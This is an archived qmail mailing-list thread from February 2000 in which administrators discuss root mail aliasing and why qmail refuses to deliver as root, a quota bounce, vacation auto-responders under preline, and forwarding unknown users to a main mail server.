On Mon, Feb 21, 2000 at 06:49:38PM -0600, Henri J. Schlereth wrote:

> I can set up a .qmail and forward
> root mail to another server but cannot receive it on the target
> machine. Hints? Vowels? Nouns? Clues?

Security?

Writing files under a system-account, any system account, is inherently
unsafe. Writing as root is the least safe of all.

If you followed the normal installations-instructions, you have a
/var/qmail/alias directory, containing the aliasses for your system. Replace
the contents of .qmail-root with a line like "&henris" and you will get all
mail send to [EMAIL PROTECTED] Most other system-account forward by
default to root, so that will catch most mail send to root.

Be carefull not to change ownership and permissions, because qmail won't
deliver if they aren't right.

Another hint: make a maildir or mbox in a conveniant place, make a
.qmail-root in *your* homedir containing path to, or location of, and
forward root's mail not to henris, but to henris-root. Nice to seperate
things.

-- 

Ruben




We use qmail as pop/smtp server on a linux box. The server is hosted by an
ISP. The problem is that some emails bounce from the server, when I send
mail from certain accounts.

Does anyone know why? I enclose part of the qmail log. In the first mail
the incoming mail is sent from an SMTP directly to the server.
In the second mail the incoming mail is sent from our local SMTP server via
another ISP's SMTP to the server. The second mail fails. My question is:
Why?


950878687.143750 new msg 6042
950878687.143757 info msg 6042: bytes 723 from <[EMAIL PROTECTED]> qp
25131 uid 100
950878687.177541 starting delivery 28: msg 6042 to local
[EMAIL PROTECTED]
950878687.177561 status: local 1/10 remote 0/20
950878687.196945 delivery 28: success: did_0+0+1/
950878687.196958 status: local 0/10 remote 0/20
950878687.196968 end msg 6042
950879033.632201 new msg 6042
950879033.632210 info msg 6042: bytes 1053 from <[EMAIL PROTECTED]> qp
25163 uid 100
950879033.665503 starting delivery 29: msg 6042 to local
[EMAIL PROTECTED]
950879033.665523 status: local 1/10 remote 0/20
950879033.696696 delivery 29: failure: User_is_over_quota_email_returned/
950879033.696715 status: local 0/10 remote 0/20
950879033.723585 bounce msg 6042 qp 25167
950879033.723850 end msg 6042


Very thankful for all help on this matter!

Med v�nlig h�lsning

Johannes Angeldorff






On Tue, Feb 22, 2000 at 02:48:08AM +0100, Johannes Angeldorff wrote:
 
> Does anyone know why? I enclose part of the qmail log. In the first mail
> the incoming mail is sent from an SMTP directly to the server.
> In the second mail the incoming mail is sent from our local SMTP server via
> another ISP's SMTP to the server. The second mail fails. My question is:
> Why?

The recipient is over his quota:

950879033.696696 delivery 29: failure: User_is_over_quota_email_returned/

This means he uses more disk space than he is allowed to. See "man quota".

Fix: Either increase his quota share, turn quota off, or educate your
users to not use too much disk space.

I can't see any relation between the error message and the way the 
message went (qmail-local has no way to know that).
 
Regards, Uwe




We use qmail as pop/smtp server on a linux box. The server is hosted by an
ISP. The problem is that some emails bounce from the server, when I send
mail from certain accounts.

Does anyone know why? I enclose part of the qmail log. In the first mail
the incoming mail is sent from an SMTP directly to the server.
In the second mail the incoming mail is sent from our local SMTP server via
another ISP's SMTP to the server. The second mail fails. My question is:
Why?


950878687.143750 new msg 6042
950878687.143757 info msg 6042: bytes 723 from <[EMAIL PROTECTED]> qp
25131 uid 100
950878687.177541 starting delivery 28: msg 6042 to local
[EMAIL PROTECTED]
950878687.177561 status: local 1/10 remote 0/20
950878687.196945 delivery 28: success: did_0+0+1/
950878687.196958 status: local 0/10 remote 0/20
950878687.196968 end msg 6042
950879033.632201 new msg 6042
950879033.632210 info msg 6042: bytes 1053 from <[EMAIL PROTECTED]> qp
25163 uid 100
950879033.665503 starting delivery 29: msg 6042 to local
[EMAIL PROTECTED]
950879033.665523 status: local 1/10 remote 0/20
950879033.696696 delivery 29: failure: User_is_over_quota_email_returned/
950879033.696715 status: local 0/10 remote 0/20
950879033.723585 bounce msg 6042 qp 25167
950879033.723850 end msg 6042


Very thankful for all help on this matter!

Med v�nlig h�lsning
Franz�n & Falk AB

Johannes Angeldorff
Estrella webmaster






>On Tue, Feb 22, 2000 at 02:48:08AM +0100, Johannes Angeldorff wrote:
>
>> Does anyone know why? I enclose part of the qmail log. In the first mail
>> the incoming mail is sent from an SMTP directly to the server.
>> In the second mail the incoming mail is sent from our local SMTP server via
>> another ISP's SMTP to the server. The second mail fails. My question is:
>> Why?
>
>The recipient is over his quota:
>
>950879033.696696 delivery 29: failure: User_is_over_quota_email_returned/
>
>This means he uses more disk space than he is allowed to. See "man quota".
>
>Fix: Either increase his quota share, turn quota off, or educate your
>users to not use too much disk space.
>
>I can't see any relation between the error message and the way the
>message went (qmail-local has no way to know that).
>
>Regards, Uwe

Hi there!

Thank you for your answer. I have checked, and the user is way below
quota... And this problem only occurs for emails from our office SMTP, and
no else. This confuses me...

Q: Doesn't the error message "User_is_over_quota_email_returned" seem to
regard the quota for _returned_ messages? If so, is there anything I can do
to prevent qmail from returning the messages?

Med v�nlig h�lsning

Johannes Angeldorff






On Tue, Feb 22, 2000 at 10:00:59AM +0100, Johannes Angeldorff wrote:

> Q: Doesn't the error message "User_is_over_quota_email_returned" seem to

well, that message has not been generated by qmail, but by some other
program (possibly called from a .qmail file).

> regard the quota for _returned_ messages?

No. Qmail changes the output of processes it starts, before it sends the
output to the log file. The original message may have been
        User is over quota\n
        email returned

and "email returned" is not found in the qmail sources.

> If so, is there anything I can do to prevent qmail from returning 
> the messages?

check your delivery scripts.

Regards, Uwe




Aside that I may have missed anything in the FAQ, and the man pages dont
install unless I missed a step, why is this a security issue?
What is the logic behind that and why then can I defeat it by 
having a .qmail that forwards to root on another system?


I have worked as a sysadmin for a while and have always gotten
root mail alerts and notifications, when machines are down,
when someone tries to crack in to a system all bells and
alarms go off, email and pager messages to root.



-- 
-------------------------------------------------------------
"All data leaves a trail. The search for data leaves a trail.
The erasure of data leaves a trail.The absence of data, under
the right circumstances,can leave the clearest trail of all-
Dr. Kio Masada" 
-------------------------------------------------------------




On Mon, Feb 21, 2000 at 07:48:28PM -0600, Henri J. Schlereth wrote:
> Aside that I may have missed anything in the FAQ, and the man pages dont
> install unless I missed a step, why is this a security issue?
> What is the logic behind that and why then can I defeat it by 
> having a .qmail that forwards to root on another system?

By allowing delivery to root directly, you would allow the running
of programs as root. Eg: by having a program invocation
in ~root/.qmail

By *forcing* root mail to ~alias/.qmail-root, qmail removes
the possibility of that occuring. 

You could argue that root would be very careful in what
they put into their .qmail files. qmail's view is that the
temptation too easy and the risk too great.

> I have worked as a sysadmin for a while and have always gotten
> root mail alerts and notifications, when machines are down,
> when someone tries to crack in to a system all bells and
> alarms go off, email and pager messages to root.

Nothing stops that occuring with qmail. Simply put whatever
you want into ~alias/.qmail-root

It merely runs as the user alias rather than the user root.

You might, eg, have:

| send_to_pager 555151515

in ~alias/.qmail-root


Mark.




Henri J. Schlereth writes:
> the man pages dont install unless I missed a step

They should be in /var/qmail/man.  man won't know to look there unless
you put it in $MANPATH or (in my case, I don't know how portable this
is) in `/etc/man.config'.

> why is this a security issue?

Simply because doing things as root is dangerous, and mail delivery
has no real need for special privileges.

> why then can I defeat it by having a .qmail that forwards to root on
> another system?

You can defeat it much more easily than that, if I'm not mistaken.  Put:
=root:root:0:0:/:::
in users/assign.  (man qmail-users for details.)

> I have worked as a sysadmin for a while and have always gotten
> root mail alerts and notifications, when machines are down,
> when someone tries to crack in to a system all bells and
> alarms go off, email and pager messages to root.

Don't confuse the local address `root' with the username `root'.  The
address `root' should go to the machine's administrator, yes.  But it
hardly needs to be done with uid 0.


paul




> You can defeat it much more easily than that, if I'm not mistaken.  Put:
> =root:root:0:0:/:::
> in users/assign.  (man qmail-users for details.)

Nope. You might want to check qmail-lspawn.c

   if (!getuid()) _exit(QLX_ROOT);

Is executed just prior to the execv() call.

So no, you cannot defeat it.

Your other comments are valid though.


Mark.





OK, I can live with those definitions and thanks for the input.
I will add the manpath stuff as well for a better understanding.

One of the reasons I installed qmail on one of my machines was

a.) I dawdled 2 years to get to it. I ran it for a two years
at work after the person there left, and left a bad taste
in everyones mouth about qmail

b.) I am persuing a RedHat (evidently) specific problem,
I have installed postfix on one machine, and have sendmail on
many others. Under postfix vacation dies with a signal 11,on
two machines. Under sendmail it dies with a signal 213 and
core dumps.

Anybody run vacation under qmail? And I dont mean the perl version.

Henri

-- 
-------------------------------------------------------------
"All data leaves a trail. The search for data leaves a trail.
The erasure of data leaves a trail.The absence of data, under
the right circumstances,can leave the clearest trail of all-
Dr. Kio Masada" 
-------------------------------------------------------------




On Mon, 21 Feb 2000, Henri J. Schlereth wrote:
> 
> Anybody run vacation under qmail? And I dont mean the perl version.

Which perl version :)

If you wish to run a vacation that behaves like one that ships with
SunOS/Solaris (ie it is looking for a UUCP style "From xxx" header AND
it closes STDIN after reading the headers, then you can try this in
the relevant .qmail file

    | preline sh -c '/path/to/vacation username; cat > /dev/null'
    # Must have a local delivery instruction
    /home/user/mbox

Regards
Peter
----------
Peter Samuel                                [EMAIL PROTECTED]
Technical Consultant                        or at present:
eServ. Pty Ltd                              [EMAIL PROTECTED]
Phone: +61 2 9206 3410                      Fax: +61 2 9281 1301

"If you kill all your unhappy customers, you'll only have happy ones left"





The program that fails is vacation v1.2.1 originally from Eric
Allman now maintained by Sean Rima.

The perl version is v1.1.0 and is from Igor S. Livshits. both are
available from www.freshmeat.net.

I put the first one in before going on "vacation" and it failed
and havent tried the second one yet as I want to fix the original.




-- 
-------------------------------------------------------------
"All data leaves a trail. The search for data leaves a trail.
The erasure of data leaves a trail.The absence of data, under
the right circumstances,can leave the clearest trail of all-
Dr. Kio Masada" 
-------------------------------------------------------------




On Mon, 21 Feb 2000, Henri J. Schlereth wrote:

> The program that fails is vacation v1.2.1 originally from Eric
> Allman now maintained by Sean Rima.
> 
> The perl version is v1.1.0 and is from Igor S. Livshits. both are
> available from www.freshmeat.net.
> 
> I put the first one in before going on "vacation" and it failed
> and havent tried the second one yet as I want to fix the original.

See the www.qmail.org pages. Search for qmail-vacation.

Or use the .qmail example I sent before.

The problem you're having is almost certainly to do with vacation
closing STDIN before preline has finished with STDOUT.

Also, when describing your problem, please include output from the
qmail logs. That way we can understand what "failed" means rather than
have to resort to guess work.

Regards
Peter
----------
Peter Samuel                                [EMAIL PROTECTED]
Technical Consultant                        or at present:
eServ. Pty Ltd                              [EMAIL PROTECTED]
Phone: +61 2 9206 3410                      Fax: +61 2 9281 1301

"If you kill all your unhappy customers, you'll only have happy ones left"





> On Mon, 21 Feb 2000, Henri J. Schlereth wrote:
> 
> > The program that fails is vacation v1.2.1 originally from Eric
> > Allman now maintained by Sean Rima.
> > 
> > The perl version is v1.1.0 and is from Igor S. Livshits. both are
> > available from www.freshmeat.net.
> > 
> > I put the first one in before going on "vacation" and it failed
> > and havent tried the second one yet as I want to fix the original.
> 
> The problem you're having is almost certainly to do with vacation
> closing STDIN before preline has finished with STDOUT.
> 
> Also, when describing your problem, please include output from the
> qmail logs. That way we can understand what "failed" means rather than
> have to resort to guess work.

Sorry, but I havent tested this against qmail yet so I dont have
any logs to present. That is why I was originally working on
the root issue because I wanted to trap the mailer-daemon errors
and whatever logs get created.
I have only tested with failures against postfix and sendmail,
that is why I was going to throw qmail in the test and wanted
to know if anyone else had tried this. After all, why re-invent
the wheel. The qmail-vacation program may very well do the trick
but will not tell me why/if the other one failed.

Henri

-------------------------------------------------------------
"All data leaves a trail. The search for data leaves a trail.
The erasure of data leaves a trail.The absence of data, under
the right circumstances,can leave the clearest trail of all-
Dr. Kio Masada" 
-------------------------------------------------------------




On Mon, 21 Feb 2000, Henri J. Schlereth wrote:

> > On Mon, 21 Feb 2000, Henri J. Schlereth wrote:
> > 
> > > The program that fails is vacation v1.2.1 originally from Eric
> > > Allman now maintained by Sean Rima.
> > > 
> > > The perl version is v1.1.0 and is from Igor S. Livshits. both are
> > > available from www.freshmeat.net.
> > > 
> > > I put the first one in before going on "vacation" and it failed
> > > and havent tried the second one yet as I want to fix the original.
> > 
> > The problem you're having is almost certainly to do with vacation
> > closing STDIN before preline has finished with STDOUT.
> > 
> > Also, when describing your problem, please include output from the
> > qmail logs. That way we can understand what "failed" means rather than
> > have to resort to guess work.
> 
> Sorry, but I havent tested this against qmail yet so I dont have
> any logs to present. That is why I was originally working on
> the root issue because I wanted to trap the mailer-daemon errors
> and whatever logs get created.
> I have only tested with failures against postfix and sendmail,
> that is why I was going to throw qmail in the test and wanted
> to know if anyone else had tried this. After all, why re-invent
> the wheel. The qmail-vacation program may very well do the trick
> but will not tell me why/if the other one failed.

Fair enough. However, you'll find that you'll get better help from the
qmail list people (myself included) if you define things such as
"failed". Without details that could be anything from

    - causes the machine to catch on fire
    - something in between
    - does nothing

Anyway, if you _do_ install qmail, be careful about using programs
through preline. From www.qmail.org

    If you use qmail's preline utility, remember that preline expects
    to pipe the entire mail message through the specified program. If
    the specified program closes standard input before preline has
    finished, preline will exit with a transient failure and you'll see
    the following error in your logs:

         deferral:
         preline:_fatal:_unable_to_copy_input:_broken_pipe/

    You'll see this problem if you try to use the sendmail version of
    vacation.  Use Peter's vacation program instead.  [ Peter Samuel]

My qmail-vaction program does not need preline, but if you choose a
vacation program that does need preline (to provide the UUCP style
header) then use the 'cat > /dev/null' trick I posted before.

Regards
Peter
----------
Peter Samuel                                [EMAIL PROTECTED]
Technical Consultant                        or at present:
eServ. Pty Ltd                              [EMAIL PROTECTED]
Phone: +61 2 9206 3410                      Fax: +61 2 9281 1301

"If you kill all your unhappy customers, you'll only have happy ones left"





> Fair enough. However, you'll find that you'll get better help from the
> qmail list people (myself included) if you define things such as
> "failed". Without details that could be anything from
> 
>     - causes the machine to catch on fire
>     - something in between
>     - does nothing

Failed in this instance was a signal 11 on postfix (2 machines)
and a signal 213 on sendmail (2 machines)

>     You'll see this problem if you try to use the sendmail version of
>     vacation.  Use Peter's vacation program instead.  [ Peter Samuel]

Ahh, but I cant use someone else's version of vacation because I am
assisting the current maintainer of the sendmail vacation (Sean Rima)
with debug testing on RedHat machines. That is precisely why I was
trying to find out if anyone else had/wanted to use this with
qmail. Again a matter of not inventing the wheel. There also appear to
be some 50% Slackware people who are also seeing this problem and we
are trying to narrow it down. The maintainer has run both postfix and
sendmail on a Suse box w/o problemsi with vacation.

My first test with qmail results in the following:

<\feral, "|vacation feral"@rock.neandertal.org>:
Sorry, no mailbox here by that name. (#5.1.1)

This is actually a copied .forward -> .qmail so I really didnt expect
it to work. I just wanted to see the first error.

I personally just slapped a procmail script onto the machine to get it
to work and I know it would likely work on the qmail box because I have
procmail as the mail/filter in qmail.


-------------------------------------------------------------
"All data leaves a trail. The search for data leaves a trail.
The erasure of data leaves a trail.The absence of data, under
the right circumstances,can leave the clearest trail of all-
Dr. Kio Masada" 
-------------------------------------------------------------




I implemented your script and I get the headers of the vacation message
without the away body message. There are no errors in /var/log/maillog
but the rcpt person does not get the message sent to him.
This behaviour mimics the signal 213 under sendmail so I am now
0-3, a nice score for soccer but not for vacation

Henri

-- 
-------------------------------------------------------------
"All data leaves a trail. The search for data leaves a trail.
The erasure of data leaves a trail.The absence of data, under
the right circumstances,can leave the clearest trail of all-
Dr. Kio Masada" 
-------------------------------------------------------------




On Tue, 22 Feb 2000, Henri J. Schlereth wrote:

> > Fair enough. However, you'll find that you'll get better help from the
> > qmail list people (myself included) if you define things such as
> > "failed". Without details that could be anything from
> > 
> >     - causes the machine to catch on fire
> >     - something in between
> >     - does nothing
> 
> Failed in this instance was a signal 11 on postfix (2 machines)
> and a signal 213 on sendmail (2 machines)
> 
> >     You'll see this problem if you try to use the sendmail version of
> >     vacation.  Use Peter's vacation program instead.  [ Peter Samuel]
> 
> Ahh, but I cant use someone else's version of vacation because I am
> assisting the current maintainer of the sendmail vacation (Sean Rima)
> with debug testing on RedHat machines. That is precisely why I was
> trying to find out if anyone else had/wanted to use this with
> qmail. Again a matter of not inventing the wheel. There also appear to
> be some 50% Slackware people who are also seeing this problem and we
> are trying to narrow it down. The maintainer has run both postfix and
> sendmail on a Suse box w/o problemsi with vacation.

And this is precisely what you didn't tell us before :) If you'd told
us that, I wouldn't have suggested using my qmail-vacation.

> 
> My first test with qmail results in the following:
> 
> <\feral, "|vacation feral"@rock.neandertal.org>:
> Sorry, no mailbox here by that name. (#5.1.1)
> 
> This is actually a copied .forward -> .qmail so I really didnt expect
> it to work. I just wanted to see the first error.

.forward and .qmail have completely different formats. See
/var/qmail/man/man5/dot-qmail.5 for details.

Your .qmail file should say

    &feral
    | preline sh -c 'vacation feral; cat > /dev/null'

Regards
Peter
----------
Peter Samuel                                [EMAIL PROTECTED]
Technical Consultant                        or at present:
eServ. Pty Ltd                              [EMAIL PROTECTED]
Phone: +61 2 9206 3410                      Fax: +61 2 9281 1301

"If you kill all your unhappy customers, you'll only have happy ones left"





On Tue, 22 Feb 2000, Henri J. Schlereth wrote:

> I implemented your script and I get the headers of the vacation message
> without the away body message. There are no errors in /var/log/maillog
> but the rcpt person does not get the message sent to him.
> This behaviour mimics the signal 213 under sendmail so I am now
> 0-3, a nice score for soccer but not for vacation

Do the logs show a message being sent back to the original sender?

Either way it looks like that vacation program is broken.

Regards
Peter
----------
Peter Samuel                                [EMAIL PROTECTED]
Technical Consultant                        or at present:
eServ. Pty Ltd                              [EMAIL PROTECTED]
Phone: +61 2 9206 3410                      Fax: +61 2 9281 1301

"If you kill all your unhappy customers, you'll only have happy ones left"





> 
> And this is precisely what you didn't tell us before :) If you'd told
> us that, I wouldn't have suggested using my qmail-vacation.
> 
I am sorry but I did post the following orginally:

>From henris Mon Feb 21 20:27:43 2000
Subject: Thanks 
To: [EMAIL PROTECTED] (qmail)
Date: Mon, 21 Feb 2000 20:27:43 -0600 (CST)
X-Mailer: ELM [version 2.5 PL1]
Content-Length: 1003      
Status: RO

OK, I can live with those definitions and thanks for the input.
I will add the manpath stuff as well for a better understanding.

One of the reasons I installed qmail on one of my machines was

a.) I dawdled 2 years to get to it. I ran it for a two years
at work after the person there left, and left a bad taste
in everyones mouth about qmail

b.) I am persuing a RedHat (evidently) specific problem,
I have installed postfix on two machines, and have sendmail on
many others. Under postfix vacation dies with a signal 11,on
two machines. Under sendmail it dies with a signal 213 and
core dumps.

> .forward and .qmail have completely different formats. See
> /var/qmail/man/man5/dot-qmail.5 for details.
> 
> Your .qmail file should say
> 
>     &feral
>     | preline sh -c 'vacation feral; cat > /dev/null'
> 

The above gives me a mailer-daemon looping error #5.4.6. Mind you
know I suspect nothing but vacation/RH6.1 in this matter.
Again, this fails on the sender side and doesnt deliver anything
to rcpt.

Thank you,
Henri

-------------------------------------------------------------
"All data leaves a trail. The search for data leaves a trail.
The erasure of data leaves a trail.The absence of data, under
the right circumstances,can leave the clearest trail of all-
Dr. Kio Masada" 
-------------------------------------------------------------




On Tue, 22 Feb 2000, Henri J. Schlereth wrote:

> > 
> > And this is precisely what you didn't tell us before :) If you'd told
> > us that, I wouldn't have suggested using my qmail-vacation.
> > 
> I am sorry but I did post the following orginally:

I meant the bit about being a beta tester for the other vacation
programs.

Regards
Peter
----------
Peter Samuel                                [EMAIL PROTECTED]
Technical Consultant                        or at present:
eServ. Pty Ltd                              [EMAIL PROTECTED]
Phone: +61 2 9206 3410                      Fax: +61 2 9281 1301

"If you kill all your unhappy customers, you'll only have happy ones left"





my system linux + qmail + mysql used




Also this proggy has been around awhile, Eric Allman of sendmail
fame wrote the original and it has been handed down since then.
I used a version of this successfully at an ISP about two years
ago, that's why I grabbed the stupid thing before the wedding.

Just like we used sendmail and qmail where I used to work so I
figured stuff that I was moderately in the know about would
give some clue as to why the beast now doesnt work.

Henri

-- 
-------------------------------------------------------------
"All data leaves a trail. The search for data leaves a trail.
The erasure of data leaves a trail.The absence of data, under
the right circumstances,can leave the clearest trail of all-
Dr. Kio Masada" 
-------------------------------------------------------------




On Tue, Feb 22, 2000 at 01:17:02AM -0600, Henri J. Schlereth wrote:
> Also this proggy has been around awhile, Eric Allman of sendmail
> fame wrote the original and it has been handed down since then.
> I used a version of this successfully at an ISP about two years
> ago, that's why I grabbed the stupid thing before the wedding.
> 
> Just like we used sendmail and qmail where I used to work so I
> figured stuff that I was moderately in the know about would
> give some clue as to why the beast now doesnt work.

If you are willing to be a little more specific and skip interesting
details about weddings, bad mouth tastes etc I am positive that
the community of the list will be more than glad to give you hints
and pointers to help you back on track.

/magnus

-- 
http://x42.com/




> If you are willing to be a little more specific and skip interesting
> details about weddings, bad mouth tastes etc I am positive that
> the community of the list will be more than glad to give you hints
> and pointers to help you back on track.
> 
> /magnus
> 
> -- 
> http://x42.com/
> 
Sorry but you have come into this in the middle I am already
exhanging mail with someone from this list in this matter.
Peter Samuel has been very understanding so far.

Thank you for your input in this matter. I am posting to
Peter Samuel and this list so that others may/may not benefit
from this dialog.

I was already being specific in prior emails, the bad taste in
my mouth was not about qmail but how the previous person had
mangled it. The wedding was a detail that explained to Peter
Samuel that I wasnt a beta tester for another vacation
program but that I was scratching an itch. All the other
details were provided in previous posts. If you are interested I
can resend copies to you.

Henri

-- 
-------------------------------------------------------------
"All data leaves a trail. The search for data leaves a trail.
The erasure of data leaves a trail.The absence of data, under
the right circumstances,can leave the clearest trail of all-
Dr. Kio Masada" 
-------------------------------------------------------------




> Now I understand completely :) I had a similar experience with the
> Solaris version of vacation intermittently failing with qmail. I
> tracked it down to it's premature closing of STDIN (as far as preline
> was concerned) so I wrote qmail-vacation.
> 
> Regards
> Peter
> ----------
Very good, now I already have a procmail script for sendmail,
where might I find your qmail-vacation?
I still want to know why but I am not rabid enough not to 
try other things meantime. :) 
After all a secondary internal server may be promoted due to
failures or what ever, so as many tools as possible is a 
good thing.

Henri, the non-beta tester tester


-- 
-------------------------------------------------------------
"All data leaves a trail. The search for data leaves a trail.
The erasure of data leaves a trail.The absence of data, under
the right circumstances,can leave the clearest trail of all-
Dr. Kio Masada" 
-------------------------------------------------------------




On Tue, 22 Feb 2000, Henri J. Schlereth wrote:

> > Now I understand completely :) I had a similar experience with the
> > Solaris version of vacation intermittently failing with qmail. I
> > tracked it down to it's premature closing of STDIN (as far as preline
> > was concerned) so I wrote qmail-vacation.
> > 
> > Regards
> > Peter
> > ----------
> Very good, now I already have a procmail script for sendmail,
> where might I find your qmail-vacation?

    ftp://ftp.eserv.com.au/pub/tools/qmail/

This is mentioned on

    http://www.qmail.org

which I strongly encourage you to visit, along with Dave Sill's Life
with Qmail page(s)

    http://Web.InfoAve.Net/~dsill/lwq.html

Regards
Peter
----------
Peter Samuel                                [EMAIL PROTECTED]
Technical Consultant                        or at present:
eServ. Pty Ltd                              [EMAIL PROTECTED]
Phone: +61 2 9206 3410                      Fax: +61 2 9281 1301

"If you kill all your unhappy customers, you'll only have happy ones left"





>     ftp://ftp.eserv.com.au/pub/tools/qmail/
> This is mentioned on
>     http://www.qmail.org
> which I strongly encourage you to visit, along with Dave Sill's Life
> with Qmail page(s)
>     http://Web.InfoAve.Net/~dsill/lwq.html
> 
> Regards
> Peter

Well, good I will do that. I think I can see that the "other"
vacation is firmly broken and I will have to use yours on
qmail, the procmail script on sendmail and who knows what on
postfix, hmmmm, another itch?, no, I think I hear my bed calling me for
now.

Thank you
Henri

-- 
-------------------------------------------------------------
"All data leaves a trail. The search for data leaves a trail.
The erasure of data leaves a trail.The absence of data, under
the right circumstances,can leave the clearest trail of all-
Dr. Kio Masada" 
-------------------------------------------------------------




Hello everybody.
Sorry about my newbie question, but I've failed searching the answer in
the docs.
I have this problem:
Our mail comes with address user@domain.
I'd like to set qmail box as a primary MX, so all incoming mail will come
here.
There I'd like to catch the mail for specific users (let it go to local
mailboxes, or forward it somewhere), and pass the rest to particular host
(our main mailserver).
Is it possible to achieve that function with qmail?

Thank you,
Martin

--
Ing. Martin Horak
systemovy programator
SCE a.s.





On Tue, Feb 22, 2000 at 08:45:20AM +0100, Martin Horak wrote:
> Hello everybody.
> Sorry about my newbie question, but I've failed searching the answer in
> the docs.
> I have this problem:
> Our mail comes with address user@domain.
> I'd like to set qmail box as a primary MX, so all incoming mail will come
> here.
> There I'd like to catch the mail for specific users (let it go to local
> mailboxes, or forward it somewhere), and pass the rest to particular host
> (our main mailserver).
> Is it possible to achieve that function with qmail?

Take a look in my (yet-not-nicely-formatted) qmail conf cookbook:

http://x42.com/qmail/cookbook/domains/

There is a lot of answers to domain handling questions.

/magnus

-- 
http://x42.com/




On Tue, 22 Feb 2000, Martin Horak wrote:

> Hello everybody.
> Sorry about my newbie question, but I've failed searching the answer in
> the docs.
> I have this problem:
> Our mail comes with address user@domain.
> I'd like to set qmail box as a primary MX, so all incoming mail will come
> here.
> There I'd like to catch the mail for specific users (let it go to local
> mailboxes, or forward it somewhere), and pass the rest to particular host
> (our main mailserver).
> Is it possible to achieve that function with qmail?

Assuming you have "domain" in both /var/qmail/control/locals and
/var/qmail/control/rcpthosts, mail for valid users will be delivered to
their home directories (unless overridden with a
/var/qmail/users/assign entry).

You can then setup an ~alias/.qmail-default file which will catch any
other address. It's contents could be

    | forward $[EMAIL PROTECTED]

and that will go to the MX record for "some.other.domain" OR you can
setup a /var/qmail/control/smtproutes entry

    some.other.domain:some.specific.hostname

Regards
Peter
----------
Peter Samuel                                [EMAIL PROTECTED]
Technical Consultant                        or at present:
eServ. Pty Ltd                              [EMAIL PROTECTED]
Phone: +61 2 9206 3410                      Fax: +61 2 9281 1301

"If you kill all your unhappy customers, you'll only have happy ones left"







On Tue, 22 Feb 2000, Peter Samuel wrote:

> On Tue, 22 Feb 2000, Martin Horak wrote:
> 
> > I have this problem:
> > Our mail comes with address user@domain.
> > I'd like to set qmail box as a primary MX, so all incoming mail will come
> > here.
> > There I'd like to catch the mail for specific users (let it go to local
> > mailboxes, or forward it somewhere), and pass the rest to particular host
> > (our main mailserver).
> > Is it possible to achieve that function with qmail?
> 
> Assuming you have "domain" in both /var/qmail/control/locals and
> /var/qmail/control/rcpthosts, mail for valid users will be delivered to
> their home directories (unless overridden with a
> /var/qmail/users/assign entry).
> 
> You can then setup an ~alias/.qmail-default file which will catch any
> other address. It's contents could be
> 
>     | forward $[EMAIL PROTECTED]
> 
> and that will go to the MX record for "some.other.domain" OR you can
> setup a /var/qmail/control/smtproutes entry
> 
>     some.other.domain:some.specific.hostname
>
Thank you (also  Magnus Bodin) for your help.
I thought about solution like this.
It would be better for me, if the domain didn't change, because it means to
change configuration of our main mailhub (Lotus Notes), but
there isn't probably other way.

--
Ing. Martin Horak
system programmer
SCE a.s.

 






Hello.
This question is a SqWebMail question, but it includes some RFC work..

Situation:
Users send and recive emails in English, Chinese and Japanise etc.

Problem:
The problem is how to generate the correct Content-type header on
HTML pages.

Solution - Part 1:
Look at the email and with some cleaver rules generate the content-type..

Problem with the solution:
How the heck can I in a email see if I need to display it as english,
chinese or japanise text?

Please advice
 Michael Boman

-- 
W I Z O F F I C E . C O M   P T E   L T D  -  Your Online Office Wizard
16 Tannery Lane, Crystal Time Building, #06-00, Singapore 347778
Voice : (+65) 844 3228 [extention 118]  Fax : (+65) 842 7228
Pager : (+65) 92 93 29 49               ICQ : 5566009
eMail : [EMAIL PROTECTED]           URL : http://www.wizoffice.com


Reply via email to